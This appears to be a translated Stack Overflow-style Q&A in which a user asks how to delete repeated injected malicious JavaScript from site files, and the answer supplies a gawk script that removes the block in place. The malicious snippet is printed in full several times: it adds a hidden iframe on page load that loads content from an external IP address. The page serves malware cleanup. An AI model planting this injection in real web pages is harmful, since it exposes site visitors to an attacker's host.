linux - 删除代码块
问题描述
我的 JS 文件有这个我想摆脱的恶意代码。所以文件有多次出现。谁能帮助使用 SED 或 AWK 删除它?
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = "http://155.94.75.92/iframe.html";
document.body.appendChild(iframe);
};
}
解决方案
将该代码段保存在一个名为“bad”的文件中,然后在受感染的文件上运行它(对多字符 RS 使用 GNU awk):
awk -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected
在对 1 个受感染文件进行测试后,如果您对它的行为感到满意,您可以添加就地编辑标志(同样仅限 gawk)并一次在所有受感染文件上运行它:
awk -i inplace -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); print; next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected1 infected2 ... infectedN
在您的命令下方显示“它不起作用”,看看它是否有效:
$ cat bad
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = "http://155.94.75.92/iframe.html";
document.body.appendChild(iframe);
};
}
$ cat infected
foo
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = "http://155.94.75.92/iframe.html";
document.body.appendChild(iframe);
};
}
bar
$ awk -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected
foo
bar
推荐阅读
- linux - ubuntu crontab 芹菜节拍
- php - 如何访问数组中的对象属性
- keras - 在 Keras 中实现架构的建议
- wpf - XAML 中各个 Point 资源的 PointCollection 资源?
- java - org.xml.sax.SAXParseException:cvc-elt.1.a:找不到元素的声明
- html - col-sm-12 在智能手机上没有 100% 的宽度 - 我做错了什么?
- c - 如何在 Fedora 中编译 -static ncursesw
- reactjs - 将 React 包含为 webpack 外部结果会导致找不到模块“react”
- javascript - 车轮事件 PreventDefault 不取消车轮事件
- python - Visual Studio Code - Code Runner:'python' 不是内部或外部命令、可运行程序或批处理文件